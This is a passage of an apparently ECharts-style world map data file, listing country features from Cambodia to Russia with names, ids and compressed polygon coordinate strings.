̙ͭઁıͅ՛ࢷŒׇǏߣЇŜȟʇȓཟŵਡ˘࣫ÝĂӜࣴƕ̮ʸٖĉ੾؂঻ѸױȽإ͂۶ծʟĊ"],encodeOffsets:[[72666,43281]]}},{type:"Feature",id:"KHM",properties:{name:"Cambodia"},geometry:{type:"Polygon",coordinates:["@@΁Ѭыࢄȣ২ՠۨઘdž߀ťۚ͡Ϟׄݖ̱Ȝ֕Ļ৕ඳ٧τԙࢥÓܫͷ۱Ū"],encodeOffsets:[[105982,10888]]}},{type:"Feature",id:"KOR",properties:{name:"South Korea"},geometry:{type:"Polygon",coordinates:["@@ܨযȺխPॷ̓ҥݽljڥΏݳïĥҚƼـχ࢔ذƚֻܘÂúϒ‡͞Ϝצ¢ΨÈŨȮ"],encodeOffsets:[[131431,39539]]}},{type:"Feature",id:"CS-KM",properties:{name:"Kosovo"},geometry:{type:"Polygon",coordinates:["@@›ǣŃPĘ́ȩĐdzɦƾȌȪÒŜ˨ư²Ţşƾ¿ŌƅƒŸǎƻŢLĥȳijij„×ȉӹŻ"],encodeOffsets:[[21261,43062]]}},{type:"Feature",id:"KWT",properties:{name:"Kuwait"},geometry:{type:"Polygon",coordinates:["@@Ǭχõȓ˔هשuȽАݟĆ؞߮֠é"],encodeOffsets:[[49126,30696]]}},{type:"Feature",id:"LAO",properties:{name:"Laos"},geometry:{type:"Polygon",coordinates:["@@˚Ϝœ܆ڹܸ¿ٕࠦھٍÎǛ̉ӯyʣƨࢯԅoݬȸࢮ֧ž³ԎηʸǴ̲ܐնøȡ҄wŵ०ѦŬӮڏϖޅਚO͚ܹ՝ɗʉ̟৔ԉۦ঳Ռ݋َ׏ɄץƵ࠿ݕ̲ϝ׃ۙ͢"],encodeOffsets:[[107745,14616]]}},{type:"Feature",id:"LBN",properties:{name:"Lebanon"},geometry:{type:"Polygon",coordinates:["@@ɣ[ýƥ˫D̘ۄмעfˆϘ§Ɛͣқ̓ȷҟ"],encodeOffsets:[[36681,34077]]}},{type:"Feature",id:"LBR",properties:{name:"Liberia"},geometry:{type:"Polygon",coordinates:["@@ɗQࡽАޅٖ܏Ң֣ըȪː¬ʔϜҘϺϺǶnɖĨΘԧÇ͵ǐdzʂIǢ͸ʄsŸʓĎНǽύʖɱˊÇΤΙ~ͧăĿÝە"],encodeOffsets:[[-7897,4470]]}},{type:"Feature",id:"LBY",properties:{name:"Libya"},geometry:{type:"Polygon",coordinates:["@@ק̷ҿҤ೧βρՄڑϸϻƷ̗ҶήӹؔͬΘñՈńҠÓϦƨۈ¯϶˕ݐШȜðΠėΒ־͔ʶːЦʌ´٦দ́ΜðۮƓ૞ϓЀݛݮǍஆΙࣆйЦɔЖϮț٠˂Ф؄ЀׂŘ଒ǣ˺ϑ̺Iˌƛ࠴ıȲˣ̣ЕżΫɏԯʦڱ@Ჳ@ᶵ@့ॱGYΙ‧ྐ‧ྒࡓҟ"],encodeOffsets:[[15208,23412]]}},{type:"Feature",id:"LKA",properties:{name:"Sri Lanka"},geometry:{type:"Polygon",coordinates:["@@ų࢓ΙʇܵȓЍڜƫீϠ഼׆ұϺסО࢓"],encodeOffsets:[[83751,7704]]}},{type:"Feature",id:"LSO",properties:{name:"Lesotho"},geometry:{type:"Polygon",coordinates:["@@̆ʩʳУƛ˛ҳſƹˍ̛ċؿ٨҄ՐҖ͢ϼǠξʵ"],encodeOffsets:[[29674,-29650]]}},{type:"Feature",id:"LTU",properties:{name:"Lithuania"},geometry:{type:"Polygon",coordinates:["@@ãɊĚɲχƄࢡƨDZ۸२ʴඬÁࠜĊŞǩ҂Ã߲СĀϓۏˏșӃ࣯̓߻NȫʶљĜ"],encodeOffsets:[[23277,55632]]}},{type:"Feature",id:"LUX",properties:{name:"Luxembourg"},geometry:{type:"Polygon",coordinates:["@@ǘȏ³ρʍiȉòĞҼɖŽ"],encodeOffsets:[[6189,51332]]}},{type:"Feature",id:"LVA",properties:{name:"Latvia"},geometry:{type:"Polygon",coordinates:["@@†نЮՆߊ˼ڜعڪhNJ٤ܐƪςĻܢ̷ۚCКȕîС˒ӷ͕ࣗԛƙ߱ТҁÄŝǪࠛĉණÂ१ʳ"],encodeOffsets:[[21562,57376]]}},{type:"Feature",id:"MAR",properties:{name:"Morocco"},geometry:{type:"Polygon",coordinates:["@@ԒΥߜÎࢊȃκU͂՟ºԝ̄ࢱɜDZƷ͛ષƙϝ̵ӡñ—ثঙ͍ͩсۍɥ࠻ŷഫاRহŷ@@@p҉Ա˓ȑϡ@̥Ŋ۹ě˛ٻʿÕЁ੕ୟ࣡ˣୋ΅ϗĵ̡ቅãaD ϶͒ɮ˞ѪÃ˶̀פҴՖ˲ƊɞӬp҂̤Բ̪֔Ւ࡬f\\ц͔ްĢڎָтɠۮۮȿਸ਼͊ܢŔѶդ֨ࡈϦخΐ֘࢈˄ԪؤI"],encodeOffsets:[[-5318,36614]]}},{type:"Feature",id:"MDA",properties:{name:"Moldova"},geometry:{type:"Polygon",coordinates:["@@ȨŮ֒ĊؤʽΊϞɥÑ˵̪ƏŨΗ̊ɇÏűƾčɝ×ӷ|ĉŜǫãÒƭɱˍƥ˽ɁĝƯϦĘΪςӝԂˉΠʹʠʯĈ"],encodeOffsets:[[27259,49379]]}},{type:"Feature",id:"MDG",properties:{name:"Madagascar"},geometry:{type:"Polygon",coordinates:["@@ɠΥȺ։Ɗঢ়ɒϽĉЗƩʙ˷ӰǁʝLjثõΥɵȗ¿܅ͧওб୅ԯཧ͑ୟϛইہȣܻΡӛɊڙ̜ɳѺÇݘ̑ڠù؂Ʈ؄ϰƢD˪Дِø՚șЈǃՌãޠ̊ҺŔՒмŒҶǤ̶Ʋτ\\ӐӎۖԮʦцŗάΦĵҪ׎fԐ˦ϔ̊ί"],encodeOffsets:[[50733,-12769]]}},{type:"Feature",id:"MEX",properties:{name:"Mexico"},geometry:{type:"Polygon",coordinates:["@@͙݅ƥ؁Õ૷ąЧƤқʺЧǚٳ֎سȞӏ͢бࢾɝΐΙ݄ɾٚĎؼưՊƠՖ΂ȨӬè۸Ƣʖ֬ɚࢶȚݔ‡ԚîȬDZ…ЙҋԁȥԝƸƥűγɁٽɅɎǭcǃY̝ԓƳIJķPŭޥV޷AAӁϛC̺˫̶șĢǹƌ½s˷ઃEЙۅŢƽĭȟqʕ्ࣞџ˘ۇɖҷÓګ́чĉץɜؿDŽ޹ϬؿŠ्ϸ۱ВɃɤҹº࡯ˈΓϦࣗӊсՌȧЦ˪ĈđʈȖɔJ̄˱Ϙùͮ˭ъ݋࠴ࡋڀУԼܝ΄ƷȴŸԲѓȞӹФȽהҍæӣѸϿФ™ˀҍو̓٠^͔؇ͬ˫™ӑɴƇͿƔЕĆف̀΋خׁƒȡŸÓŎ˽Ƭ\\ǜթʮɇǴ̕Նё˨ޯʠρɸϿ²ѷКƒͶϡ̨ϑqƭΝ̱ƫJɛԞջӎ؃РїɈ„ؚŵҖЏʺֿϒŏŇɃɖԭȰӷӦÖÚΊ³̸̼ŽϜ٩׶ӱɶ̱Հ̷վϳڦͿݲॖÞ੪ĞÿǑ౔СኀףဪPژ@DΌผ@̪̕јˇԀσ˨ѭȾҥѢʩۤʥՊڒۊhפͱфֹ̄ӯӸӏȂחɾЃپʹ׮ȁ͞|"],encodeOffsets:[[-99471,26491]]}},{type:"Feature",id:"MKD",properties:{name:"Macedonia"},geometry:{type:"Polygon",coordinates:["@@ńOœǤӺżȊ˺¶ϴbтˏÒ։DžƒƑƥҕh͋ǿջõΑȴšήń˸"],encodeOffsets:[[21085,42860]]}},{type:"Feature",id:"MLI",properties:{name:"Mali"},geometry:{type:"Polygon",coordinates:["@@˰ƶƘӶˊpזɻӄǖ͖ÇŴȈ⁚^ȈךƣļЛ⋈Л⋆౾dᬼᆳᬼᆳȨϿԺʉ϶ƋV՗ठĈFካҟ֗íԭݛƃ଩ï̳̗ա՟IȿLjҥš޻ΑDžʿٳϕŗɍΙǡНŔɱȳūֻڙۡp˳ɭΣÆӥ΋ůȝŁŽάʍĥơhƷʕ٭PɷŴʼnùʱʎ¬ʢĿİdzĉ˚Ǥɐ΅ΚijɴȇȂǙvȫş˕őɱǹΫäɷɈƓ„ɕőƅAµ̮žʾí̽͘ʀǓӔԺ"],encodeOffsets:[[-12462,14968]]}},{type:"Feature",id:"MMR",properties:{name:"Myanmar"},geometry:{type:"Polygon",coordinates:["@@ӫηץ›ϥࣥΟƳО݅ՔؗΈօ̭ܵ̃ƹȪу֖ڙĪҷ_ϵ͠ދң޵Сࡷăذʴ٠˯ӼæࣸͽѤ˛৔Ʊਗ਼εۢօуॕ׳ҽöԳȠ̂ਪǫ޾څॺļ̢ӭņ׭ۆÅڰ̊ŵj׾дȦęΤȐ˺Ž࢈ڂȑϐۘ¨ЦҪ۶}Ӕજ׆׸ƱçԬ̎ƸÛ͈ӮÚˮӵξȧ|ٟ“ۙߓۭijঽࢲƔȨޛՐǍʓۣز́ζƷ؞ʔ~΍܏յdẕӓȗ"],encodeOffsets:[[101933,20672]]}},{type:"Feature",id:"MNE",properties:{name:"Montenegro"},geometry:{type:"Polygon",coordinates:["@@ÁǀηЯÊˋǫÞɽ˞εǖĢƜŬҦ˚ȜƾüɠƟŬśˠě͌ǧçïƽȋɧó"],encodeOffsets:[[20277,43521]]}},{type:"Feature",id:"MNG",properties:{name:"Mongolia"},geometry:{type:"Polygon",coordinates:["@@ࢮƢ྄ܤ౬Єܴʳ࢚]֘Ͻ࠼‰ௐɁࠈגͿӶࢊࢊश΍ނįনɍLjؿஜΛߐƺਫ਼ŌࡆōࠖЗԚѕެT੒Ƌޜȼૈƒ௸פԌĝѰ˭ৌêХهק࠽ɐ΅ӈńࠤŽ٦̴ڬˏހוğ̗ڏĦ௟ŏןʅ؝։౱͙࠷ѽࡹǞҿúѳէˎ͓ƌˣי˯׽҇গ̑ఽ‹ഫ̇এҋϋʾ৭AఓԜࠥŰૣśჃȊऑmӱԀϣޠԱĢ৩ԼଅŞুƞ̡θ͖চׅڲன̀۷Ѿəז"],encodeOffsets:[[89858,50481]]}},{type:"Feature",id:"MOZ",properties:{name:"Mozambique"},geometry:{type:"Polygon",coordinates:["@@لæ৞ʁɖńגt̚ʦԌaऀ͜ڞӤƊϕ“࠷ľ݅ಿƨЫʣ׷͙׍՗Եޏ͉ृСॉ͓ࣕƵוׯ΋ȗí׳ЌُǔӱZʣƪ¦{ࠗƋϷȤƝűΓΗ̗ۗ˳য়ҕρ̳ðΟɊÉíѵّRïϊůϖí̠ƬपɓװГஂࢬ॔ɜ؆ŶúĨӶƉʞ˜غǐ׌E੠ѥ˒ЏÔǹȼϳǰ۫gÅ̼āװᢈۘӚЕɴüͨɅ¸͵ǯϷØסոԱʲ׌ζǰíઊΙ؈̣˖̅]ɽદɾٔ"],encodeOffsets:[[35390,-11796]]}},{type:"Feature",id:"MRT",properties:{name:"Mauritania"},geometry:{type:"Polygon",coordinates:["@@և־ԗؤ֍ɞГʚҵUЧǽйð˽ˏïҐɺаŀߊģࠨĵкČмɑЎѵδǾˬᾔMǃ௎ȴќ߀øᒸ᪂©F౞Ṗ᎟౽cМ⋅М⋇ƤĻȇי⁙]ųȇ͕ÈӃǕוɼˉoƗӵ˯Ƶ"],encodeOffsets:[[-12462,14968]]}},{type:"Feature",id:"MWI",properties:{name:"Malawi"},geometry:{type:"Polygon",coordinates:["@@ɽٓɾથ̆^̤˕Κ؇îઉεǯʱ׋շԲ×עǰϸ·ͶͧɆɳûәЖѵɔʮޮ˄̈LJۢǚڼƞɪɉ܌Ѕϐ࠘ƽǜɵ˶Ϲɾଡ"],encodeOffsets:[[35390,-11796]]}},{type:"Feature",id:"MYS",properties:{name:"Malaysia"},geometry:{type:"MultiPolygon",coordinates:[["@@àћֈĶ˞ΈȘýӸԓΜ֛¶֣ęϡĆ˿Öӻ̒ɵͤݑe˳׫Éߑخ঵ښįђӟ֚ś̡۠ҜĠؔȃΤƤƮۈρ"],["@@أ˹ܯƚॱ@̅ॗ͓̇љୟۅǵߑɾЕóөщ՛Òէǟַӆƕ֘؜˽ٮǀǜ܆άǂ৖Ǻ׾ڔЬՐϦѥǮ˺В¸՜œа٪אшڀͼHќыžιֆɻ۬ʧÑ֝͡¥ƮЧ"]],encodeOffsets:[[[103502,6354]],[[121466,4586]]]}},{type:"Feature",id:"NAM",properties:{name:"Namibia"},geometry:{type:"Polygon",coordinates:["@@رٌؖ͡ȃࠊȷ،˯ಒm৒ŅҞ͛Όѡۜѳ৘ǽՆۃࠐ»٢КdžԊƞհ}ԄϝŶÐ₮˜׌Е᎞ş໴΂یȒհµͨȍPéӁȍʭC՛͍ͣΎಕ̍سƒ{Ჽࠣ‡BយA᷋ݣѕҋÕՇDŽϗÔƗάͩɰГг"],encodeOffsets:[[16738,-29262]]}},{type:"Feature",id:"NCL",properties:{name:"New Caledonia"},geometry:{type:"Polygon",coordinates:["@@ېԵѨϭ͉ȫҥɪ׹ϚէѼ։פś˶β[Һ˹φ˷ˎɻ"],encodeOffsets:[[169759,-21585]]}},{type:"Feature",id:"NER",properties:{name:"Niger"},geometry:{type:"Polygon",coordinates:["@@nּॹȐОҿպœϤâТբ̴̘ପðݜƄîԮҠ֘Eኬஈϒᝪ࿸᮪ཾ೨αӀңר̸ȸಯ̾ɓ`ˋΔ˽ǻί͕ၻ«ધੳߋγૉΔ̵CեբmčЃʁµˋƻm֩ंȟ’ځҷٱʔҍ¸ʏşӯ~ӷΧѓq৯ѢЉȵѓb̿͆ࡅ̼ࣗıɕǻşӗʋ͹ÍݣٗӚ̟E˭ʗ"],encodeOffsets:[[2207,12227]]}},{type:"Feature",id:"NGA",properties:{name:"Nigeria"},geometry:{type:"Polygon",coordinates:["@@ࢍ̡͉¬͓ȉڥl҇Ղˡ؊שֆكYݍB¶തs՘ǂՊʶʴТԴėɨǔ͸ȍӾ˪ÎݤʌͺŠӘɖǼࣘIJࡆ̻̀ͅєaЊȶৰѡєrӸΨӰ}ʐŠҎ·ٲʓڂҸȠ‘֪ँƼnͬͯğƱ«˧۽ٱɛՙšѧDZȉǝי҅ΉŽыȋ͹ÿΓֽ˱ҽΊ͇aԃӭʑQЍ߷ɍש"],encodeOffsets:[[8705,4887]]}},{type:"Feature",id:"NIC",properties:{name:"Nicaragua"},geometry:{type:"Polygon",coordinates:["@@̃ˆϽͺȁ˲Ο˄сϜĤžƒŵÚÒʾ”ŀȔŬRkЮȠrǬOǺɤʜǝĒľƺIJ̊ɴbǦĄQňȪĖ|ƜŹǚ›ȆńɄB̈ŌŜŖ˾iïă§ȉĐ̫ȗ˹ěͷυ®ɏtϙŹĉýΫÌɛǣɋ ɩźƏȩDZʛÈƓǦˉêȕʼnօɞųŇ"],encodeOffsets:[[-87769,11355]]}},{type:"Feature",id:"NLD",properties:{name:"Netherlands"},geometry:{type:"Polygon",coordinates:["@@ۦyǀ˳Ƚޓɇ́ԍ@ƘࢡҥȞՏπީǩ؛âѠɲ݀ఆଲΘ"],encodeOffsets:[[6220,54795]]}},{type:"Feature",id:"NOR",properties:{name:"Norway"},geometry:{type:"MultiPolygon",coordinates:[["@@᥆ؙઍɣऄՅෛ͵ڵû΢לઃͰಫ˵Ы؝ߟωࣗȮ઱¥णѼԉɝԷ“ūփནƊɝҵ߭Hևױ࠿झಫ஁̨˹̇ͫ࠯bձ޿¾૟՞э˥ধֻۧυӛ֝Ԫဋঁ૫ȟ୏є̛ࣚˇ኶ޞզᕠ۶ဌࢂ໤୦፺ྴඦلᘼ੊ᇎπ൪­౮ۢ໖›ພǘ"],["@@ም΅๝Ȝ׆ɐԕˎეǚͮ̿ொȍ"],["@@᪖صᑟͥұأ݅ǁЍۡৣᅵԢނ̘ఽʐ࿕܂ٷڄᘎ̜Ң̋஦\\͊˼௾ˆ੖̋"],["@@࿮̏ఝҍ᝱ı៙ƖƫɴஹdँϬᣴɼ௞ȫࡘʤᑺȽ"]],encodeOffsets:[[[28842,72894]],[[25318,79723]],[[18690,81615]],[[26059,82338]]]}},{type:"Feature",id:"NPL",properties:{name:"Nepal"},geometry:{type:"Polygon",coordinates:["@@ÝαŌՕĩͩ۩aয়Ȟ٭ĂӛђଷŊયҼ߉Ю߿͆͜޼ՒϠΒȪڪʳࡔշҾť˰ЕٶǓۀσौȕঔć"],encodeOffsets:[[90236,28546]]}},{type:"Feature",id:"NZL",properties:{name:"New Zealand"},geometry:{type:"MultiPolygon",coordinates:[["@@Ȓ΋װ;ʐΡBΝ̹ϳչإїͷ̴З٭Yܗ̓ɣջӋࡗڇϓнʇޝlխˢࣱÐƗ̰Ҍذ੐ࠦժǀ׾͌ܜѰԎѦώظ͈ɆŰҶלϴȆΧ"],["@@،ࢫlָϜɯŲًڰ˛֨ãӒ͎юĭȯݗʯӫٛjɡʭþαūƻͅҏзֹ٭ͯƟɘΕŨӞ۔˟ҨࣛͲz̦؈̌ƚ٨Ÿլͻ֜vƪБΎڋݔΗת̸àҚұٺɑʂݡ"]],encodeOffsets:[[[177173,-41901]],[[178803,-37024]]]}},{type:"Feature",id:"OMN",properties:{name:"Oman"},geometry:{type:"MultiPolygon",coordinates:[["@@ֹ̻ϟªǩȧƉэļ֗ÿĻϯFԽ̻ćХȓǯԹP͡ɃJͻПɷҩĂ֗˳ϱ³˝טٿ൴ᠾ࠾֖၂ϩתv͸ʔΐFΆϞǒƩŞèմіHϖֵҸ̧؞ŋӼƳϜӕɨ˧̞ŃCȉ̩ԃƅɽΟˏ"],["@@ʼnƳDž˺ʔ˺ľñā΍"]],encodeOffsets:[[[60274,21621]],[[57745,26518]]]}},{type:"Feature",id:"PAK",properties:{name:"Pakistan"},geometry:{type:"Polygon",coordinates:["@@تϻʞ٥൨ͻ߹۷ऩůౣȲЫα̖݁̈֩ڴгܑӟ`׳ࠃࡇՃ࡝࢝ࢡউÚऑࢡռϗĪ٧ҾэǘܝᇛD֓֕؛Ɇʣ؀٭٘໻ǁിeஃŝ̈́ঊொѢéϰГƌw݊ߥφͷԔеѶඨѕࡀŲԈŅǞȂגóદĈ܎ҶӈشCĠɼٞŌ̴ý͢ʀ±ԌΦԖ՘Ɇͥ֊ߜɴ̢•͒мΜĩмȣΤӬμࣘǮ८ĮѐƺӨĦ"],encodeOffsets:[[76962,38025]]}},{type:"Feature",id:"PAN",properties:{name:"Panama"},geometry:{type:"Polygon",coordinates:["@@˫ʎǵҒȺɢɅÎƿˤлɸοÁǝ̇ͻɁǽ‡ĉǩВҗɯŅŧŭϷ©ơԈŋƛˡ¸ǝ͸·ÈɓİέCǻĩŶªǖìǠƲŲIJǩŲK͸͘ö̠̝iDZͲ›ĀæɴȵЮÔΨɄԜǞ˺ʤҬ·‹ĉҶ…ώơ˜ʧ̈́ɵĹūȜӵǁʟ˓ÒŅС"],encodeOffsets:[[-79750,7398]]}},{type:"Feature",id:"PER",properties:{name:"Peru"},geometry:{type:"Polygon",coordinates:["@@ɥљћɋࡅӘñΈရࡊທࣾ٫԰ΏۜƐʎ܅ાࠣ༄ߍီ΅Ϥ˃ؤٷպױͼ˖ϒПߢʼךڢՎIJΓʇȧx̭ΎâͼĝΚщӆΌDŽ֤ԦܶৠͨࣸࢠʾմŝٔɢĂ֒ЉˎЅϴɏӶࢣضĿҨɞ̤ƣԎð٠Ͻթࡣʤoрҁݳ œųۍlj॥ֱÓϻɉ̇ČғԕʍBΡɛƵΔݳҲԝDZί֐µ͆҃ݐuېӸÇ౧ϢĩӄƠܪടǷ˵£ןg܍͟пƮ̵ȕ˯β۹Ջ࣡"],encodeOffsets:[[-71260,-18001]]}},{type:"Feature",id:"PHL",properties:{name:"Philippines"},geometry:{type:"MultiPolygon",coordinates:[["@@Đ֏ºҽ˹ޑ̫ࡨϽэˎإʉϿ঩Ӧɿ؊ʰЎՑЈˁΑЃثҵƑʖ͢۾ՌʀҜ̈́̔ϝٔɰƎϒרv·ٰڼЋêхÐ̱"],["@@̟ˡˁՍ˃ʝԫ׈ǦɤɂɾĢԸҨ¸Ɖ֣جߺāߡ"],["@@ૣߕЬט؈԰Ԏ׊Ѱ࠲Ʈۅևҧѳֿ"],["@@Ԏʹ՘BgΗϳΣՕʧ‡ϸÒєŽА"],["@@ʀभ٫ɞj˭ȶԯЍȋ•עʧªƁԘӶãY͈ԣٜ߮mɴ̻"],["@@ɟܩέоѓ٘ܚ‰̡̈"],["@@ԮʉʶɖüɇƍΑ˼׻ɛۥӷ˥ƁڳȊڝѾġϊIJਾүăҙ˜ȫēϯٻЮ̵Ѵɍ̯՗ԊރůлȆ¨ΎˀɊʣȘŇ̡бӚűμߨͺˡĔೄ˜ހԘA"]],encodeOffsets:[[[129410,8617]],[[126959,10526]],[[121349,9540]],[[124809,12178]],[[128515,12455]],[[124445,13384]],[[124234,18949]]]}},{type:"Feature",id:"PNG",properties:{name:"Papua New Guinea"},geometry:{type:"MultiPolygon",coordinates:[["@@ɽčε͔ρՔǷ٘ŜĆĜʡʬȏРՑЈ˵ŝɽ"],["@@ѯçƃɽҟȱћȟѽBۏʔӑɺêʺݬũҠàŶЖŦrĆѽӐÜʂ˼Ҹ̚ġӸԌfǜƏgү˯ԡ"],["@@ݤտղࢻӖ„‘ω٬ƛʥǁࣀΝġʏ֋ÏȷɔܟĦࡕŴٷ՚ӉҦѧ݀ભπ܇ʇԡˣńإڇ˿һƖࢅ–aᩒaᩒภ׃༊ӓׄїҴхŸӵඔԱȲѽޛěȄ֕"],["@@ʿɡǁӸȝ͘ϝ˞ӍΪ؇ʚɺȮҒɻ˸ȁΜȫʹΛ͊ˏĶѧ"]],encodeOffsets:[[[159622,-6983]],[[155631,-5609]],[[150725,-7565]],[[156816,-4607]]]}},{type:"Feature",id:"POL",properties:{name:"Poland"},geometry:{type:"Polygon",coordinates:["@@·՜à̂ȹ̧҆̚ɺɤȝђָʘ಼ϴ੒˴࠼ƙÚȱ߸Yਚħ໶^њěȬʵšωɸ͋KͯԋǡʸϳfϏцܻěɽзįރۥɒϗǿ¶ߙ͔؁šЇĒӹǵч̖Ήŕ³¼ϭаر¼ăˀֻĦűɑҗǨÀɴػòЉ˔"],encodeOffsets:[[15378,52334]]}},{type:"Feature",id:"PRI",properties:{name:"Puerto Rico"},geometry:{type:"Polygon",coordinates:["@@јõưǕɋɃمLӫ‡·άŢŬیK"],encodeOffsets:[[-67873,18960]]}},{type:"Feature",id:"PRK",properties:{name:"North Korea"},geometry:{type:"Polygon",coordinates:["@@Şƥ͉ºη˵ʣ˷Ž׽ѣȅƫƧ̓ʝ֓ƏηɥηįġͰƋӈσŧȭΧÇץ¡͝ϛϑˆÁùСdžĵƿʙé‡ǀɑüɥƆɰφȤİõƶɆҒÅƎөĠЇɤۄբऒҌ־׮Ўˁܪ‹ſѺಚβͰҼժӹ"],encodeOffsets:[[133776,43413]]}},{type:"Feature",id:"PRT",properties:{name:"Portugal"},geometry:{type:"Polygon",coordinates:["@@̦Ɉ΄ŬɂЫӺDƞłӪ‡ɼуϱɩYٽƍū‘Їγçʹԋɵտ̄ʡřɫ̵̿ê˥ͷɓѷŠџġŸڂÿԬϓþȩ͈äռͰ̨ÒͼǪԎkΤǙ̠™˲"],encodeOffsets:[[-9251,42886]]}},{type:"Feature",id:"PRY",properties:{name:"Paraguay"},geometry:{type:"Polygon",coordinates:["@@ͦ৖tҌЖ݌าʔޮ]޴їbʵʞҳÇଛࢲLJ΄ǐ֦ɩǀʣþޓİ͓̼›̀ƌ̢ƳAҥŕӻǑӛƍݏށ١ړƇऻŸࡑɮࠢ౨ťψࡽ͢ਅبۉŸ໵ൌ"],encodeOffsets:[[-64189,-22783]]}},{type:"Feature",id:"QAT",properties:{name:"Qatar"},geometry:{type:"Polygon",coordinates:["@@ÇؔɨѲɰĜʬˁdӯǽӳɵÑʫǖ"],encodeOffsets:[[52030,25349]]}},{type:"Feature",id:"ROU",properties:{name:"Romania"},geometry:{type:"Polygon",coordinates:["@@δǶԴġՠGϸȳ˺źبĄɄȠΠ@ʰćʺʟˊΟӞԁ€ρėΩưϥϒƹЂƊϠƟpɏПǹʯĀɻ৥ӳĖ̪ؑফțзɋ௽¬٥ƀ͙ÕʍΊƵƦȚƘȷŀ˃ȋөʔßΌԟȢĥˌҕͤڪǂԖ֮Њ֬ԢǮ"],encodeOffsets:[[23256,49032]]}},{type:"Feature",id:"RUS",properties:{name:"Russia"},geometry:{type:"MultiPolygon",coordinates:[["@@ࡌ๫కˤԫ்ࠌࡳyוُԒսٱƻ۸Ĥࠊħ࣢Țٌš૴ӯࠜôରަϮͭϴϐŠɔ։̆ߵuࠟΎࡑ"],["@@໵]ਙĨȒτ୊˚ࢢƧψƃęɱäɉ"],["@@֦Ƚțؐᗸű࿨޻࠭λ൛ēsࠑͳǩ޽~ٗ̊ૣʖȉθ࡟Ǝॗʼnҗ̎Ǽ̸৓ȥϚЃӉΣ@„Ꮪٛᔺ࠳ïԷ"],["@@ः©ƭˌੲΖ@ַ"],["@@ળ»@ָň–܈E௒ʉïŗࡽȩ"],["@@ౡMႣĤƧ¬ߘͪੀþஞ͏ĸə"],["@@ॿͩഉø༛ͨȪ˖༨ųᑔɗ"],["@@ډرᶽzඃȣမղҎ׀૎ǂᕞ™ᴬѽ"],["@@ӹóᩣŊɟώູɦūҒ࡮Ƕ…Ҟသܒޙĺ፨݆ɩϢሤѺ᪪բ᫠ǀ෴̸࿐Ŋאͩ֟ʻᲗз᢭Џᤙߝఫࠍ೉߱Ǡۥྎۏ"],["@@ɨгސȲឤYቈЧڬ̿ȽѧङʝᕅүفʟਬşఖɃݴDŽєաτɔഊƂ᧪ƑȴϽ↲ů´ٜᄼƥഄLബѷϮ՝ӹΙੌڋ೔Ϳ߸ࢦഖϙ෢ɦྼʵؤʀൖş؅ޮૐζ䢀ձܐӿᔲٛ₎DŽာƑ۪΍Ĺؙਜʇ૴Ǥ๰vཚǑཪĢะݛਪˎڷ՞ϐώᧆɻფºᝂБ୲ν@”MKઇσઝÖݶҁԄەϲɧĮΏɑɝ༧Ǿ᚝مݛĭ౽ן௛ԧ̱ϣய׊ᔗڇϣ̸ߵΫ૱Ř˓ց৙߽Šͻड़ȋő௣ޭ‹Ϋ۱Δα฽ѕ̅ॡభȳʥ࡟ே޳ׂ̳έ௬ҵለИ୘܀ԆªϾರȊຊ੒คࡺຢڢڮஆ৷ëԍۗᒉइۍਖᓧ˷ᑃටۚԧሙɕಝēÔ؊ಯŶ਩ЭᢵƠ᪏ʟᨩ࿛ủጝ೚ŁаՃࠄȅ՞оईÃௌऍ†܍ځ࠽ë্ϛഉ్௓˯ׇଙ঑ଇॻթӹ૩ӱՉYՇФૻؙſ˩ŝƦKѐіxŦ঴ɛܚܞ̒৶Ʃ֢ࠈ˾ऄ͚̮Ѵݲ൷ʛܯͧ౧Dͻ߄হװหˎ̵ࠖ̉Ԫ̿βԯࡐ̲݇షʢ૛uਯƱۛлҤȥXҩұˑݷࢻRσஅՍ৙̈́োéѯˮԋĞ௷ףેƑޛȻੑƌޫSԙіࠕИࡅŎ੝ŋߏƹ஛ΜLJـধɎށİवΎࢉࢉ΀ӵࠇב௏ɂ࠻Š֗Ͼ࢙^ܳʴ౫Ѓྃܣࢭơ͡çѽԤઍőΧΦחnjЙӠҩưிɍୃӜ҃ѯሟᒒੵٮ̮˂ᑋߍ߭³êҞઅ˺࢙ȱ˃ࢊມǺݯΑᑅ̳Чȹḭ̇ϫ˻؆ֹ߭ɓǀɭ߭ХസֿɁЉ୻˜ʓʟ੹Ѧ೯iࢻΟহͼᇡ׊ಽsჃࣳĿؗࡹӤڡउʖǡӝُ܊֫ذx՚֗ďѝѐƋϥӽ߿Ƒ࠳ࢁކߕĉ֣ࣼফԇ͹ƝɇωÌֿԚɿ†ՅȚʳΈ޵ǮԙƁƥƼଥЖఅƌ܃ƞĹıੱ܂य़̈́ܩӴؒƈۤ۰ҹͪఌ΄uȀݯƉ‚ώѠɼ߼ÖƄ˪ȅҪ΀ѰWʚఉ˚ӭUԯЀ١ƃ੩̐lǒ̗θڟ¤éʼɀǞ՝ӈࢋąʭ¦Ƀȑ̽”ȷ՞ȟ˨NJĀڴ‡͞Ȁʍɢ֥ƪ¼Ʋ΁ƴՃվǸɨĉЂࠑȨѱijšȼࢭɂˑӸíТЙȖάˊʝ޶װӞųƤक़ҬࢡЎᅢ੶ޮӠ͂єగּΆնݳش֢ܜ঍ग़ޢي౿֔ŬךڶüොͶࢀ̈൦ԕᘨȧṺो٤ЋÆ֓टѳ൏ɡ⏷ٔ؟Ńൌ؛ÂϵÆ࡫ઌʯڂɓňРԑΰ՘͈᎖Թ۾Ȳ֣؜ዦࠖޢµ޸̋Ӫ׀۫ԄЪԊءԶᚠˑӔҹ੡ĻNҳڌ˽ಜǼȶ՚ჶАᰪܞي£ࠣԙਬĕ׼˼༾xఢΐफ़ԏॖ֌ࢡӢѪˤ២ʫ୒ʿᴾॣ֚ѰࡡѺ{ǴৣĈˢЌ҅ټ}ː༄ݾրކزǒᕮɛǬұߕڽԺˋ˒חȏଵऒԧέ֕࿫஝०ŭ̢ͮऎɎɞжܮЎөӌϼֈࣿêȫҲڢࡈણۆຒ֦șװмnѴүͧ߷࣐Ƶϥ؄ඤͦლ¬༈ӏݛ۪ċࣆศǞ፾™ᆘŌہѮংւॲx࿎иᕠŐ˪ɲᕂþیȋሴҀ໲aɶδߤΨጤΈ෸˗ଥȷበŹ"],["@@ⵙ͕ໞીےĦقÃᒈӋʟͿ"],["@@૽ōݱÛśƏঙƑ࣫ȦӐʾል~࿞ƶ౨XǢɧӘȬߊƐఞǿ͗ŷ"],["@@ᆳĿᚉʎඅ͎٣׾଩ǔᔆָᆎȎ࿌чኬ߻ȹݯ"]],encodeOffsets:[[[147096,51966]],[[23277,55632]],[[-179214,68183]],[[184320,72533]],[